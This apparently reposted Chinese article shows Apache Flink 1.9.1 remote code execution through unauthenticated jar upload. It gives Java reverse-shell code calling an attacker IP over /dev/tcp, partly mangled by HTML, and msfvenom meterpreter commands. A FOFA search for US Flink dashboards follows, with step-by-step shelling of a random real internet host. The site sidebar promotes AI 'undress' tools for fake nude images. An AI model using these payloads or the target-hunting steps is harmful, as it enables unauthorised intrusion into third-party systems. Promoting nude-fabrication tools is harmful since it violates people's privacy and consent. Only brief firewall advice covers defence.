搜尋
首頁運維安全apache flink任意jar包上傳導致遠端程式碼執行的範例分析

漏洞描述:

2019年11月11號,安全工程師Henry Chen揭露了一個Apache Flink未授權上傳jar包導致遠端程式碼執行的漏洞。由於Apache Flink Dashboard 預設無需認證即可存取,透過上傳惡意jar包並觸發惡意程式碼執行,從而獲取shell。

影響範圍

環境建置:

(1) 提前安裝好java(需要java8以上)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 下載flink-1.9.1

下載網址:https://www.apache.org/ dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) 解壓縮下載的壓縮套件:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz

( 4) 進去到解壓縮後的目錄中,來到其bin目錄下:

apache flink任意jar包上传导致远程代码执行的示例分析

#(5) 啟動flink:

./start-cluster.sh

(6) 瀏覽器存取驗證(預設連接埠為8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

##出現上圖即建置成功.

(7) 設定開機自啟動(這裡折騰了好久,一直起不來.直接source /etc/rc.d/rc.local可以啟動,但是重啟後並不會啟動flink,最後找到了解決方法)

apache flink任意jar包上传导致远程代码执行的示例分析

開機自啟動設定

漏洞1) 參考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中給出的利用java反彈shell


記得修改ip與連接埠:

apache flink任意jar包上传导致远程代码执行的示例分析

程式碼:

<p>package shell;public class Revs {   <br> /**    * @param args    * @throws Exception     */    <br> public static void main(String[] args) throws Exception {        <br> // TODO Auto-generated method stub        <br> Runtime r = Runtime.getRuntime();        <br> String cmd[]= {"/bin/bash","-c","exec 5/dev/tcp/192.168.1.12/9999;<br> cat &5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p><p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>

apache flink任意jar包上传导致远程代码执行的示例分析

#b.然後選擇java-->Runnable JAR file

apache flink任意jar包上传导致远程代码执行的示例分析

c.然後選擇對應的java專案和匯出路徑以及匯出檔案名稱

apache flink任意jar包上传导致远程代码执行的示例分析

圖片

apache flink任意jar包上传导致远程代码执行的示例分析 #這樣就產生了一個反彈shell的jar包

msf生成jar馬:

(1) 利用msfvenom來產生一個jar馬:

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar

(2) 打開msf的監聽模組,並監聽9999埠(要與我們jar馬設定的埠一致)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit

(3) 上傳我們產生的jar馬並提交後(這部分操作參考下面的複現),可以看到我們成功接收到shell:


apache flink任意jar包上传导致远程代码执行的示例分析

#本地復現:

apache flink任意jar包上传导致远程代码执行的示例分析(1) 訪問目標:

(2) 點選Submit New job,開啟上傳jar套件的頁面:

apache flink任意jar包上传导致远程代码执行的示例分析

(3)點擊Add New選擇我們製作好的jar套件:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 我們的機器上監聽好埠(我們製作的jar套件是直接反彈shell的)

apache flink任意jar包上传导致远程代码执行的示例分析(5) 點擊我們剛剛上傳的jar套件:

(6) 然後點擊Submit即可,可以看到我們已經成功接收到了shell:

apache flink任意jar包上传导致远程代码执行的示例分析

網路網站:

apache flink任意jar包上传导致远程代码执行的示例分析fofa關鍵字:

"apache-flink-dashboard" && country="US"

#

(1) 隨便找一個目標:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 點擊Submit new Job,可以看到其可以允許我們上傳jar套件

apache flink任意jar包上传导致远程代码执行的示例分析

#(3) 利用flink上傳jar包的功能將我們的jar包上傳:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 上傳後,我們在我們的vps上監聽好端口

(5) 然後回到瀏覽器,選中我們剛剛上傳的jar包,然後點擊Submitting提交,可以看到我們的vps已經成功接收到了shell

apache flink任意jar包上传导致远程代码执行的示例分析

#漏洞修復:

建議設定防火牆策略,僅允許白名單ip存取apache flink服務,並在Web代理(如apache httpd)中增加對該服務的digest認證。

隨時關注官網,等待新版本或補丁更新

以上是apache flink任意jar包上傳導致遠端程式碼執行的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:亿速云。如有侵權,請聯絡admin@php.cn刪除

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

強大的PHP整合開發環境

Dreamweaver Mac版

Dreamweaver Mac版

視覺化網頁開發工具

VSCode Windows 64位元 下載

VSCode Windows 64位元 下載

微軟推出的免費、功能強大的一款IDE編輯器

Atom編輯器mac版下載

Atom編輯器mac版下載

最受歡迎的的開源編輯器

SecLists

SecLists

SecLists是最終安全測試人員的伙伴。它是一個包含各種類型清單的集合,這些清單在安全評估過程中經常使用,而且都在一個地方。 SecLists透過方便地提供安全測試人員可能需要的所有列表,幫助提高安全測試的效率和生產力。清單類型包括使用者名稱、密碼、URL、模糊測試有效載荷、敏感資料模式、Web shell等等。測試人員只需將此儲存庫拉到新的測試機上,他就可以存取所需的每種類型的清單。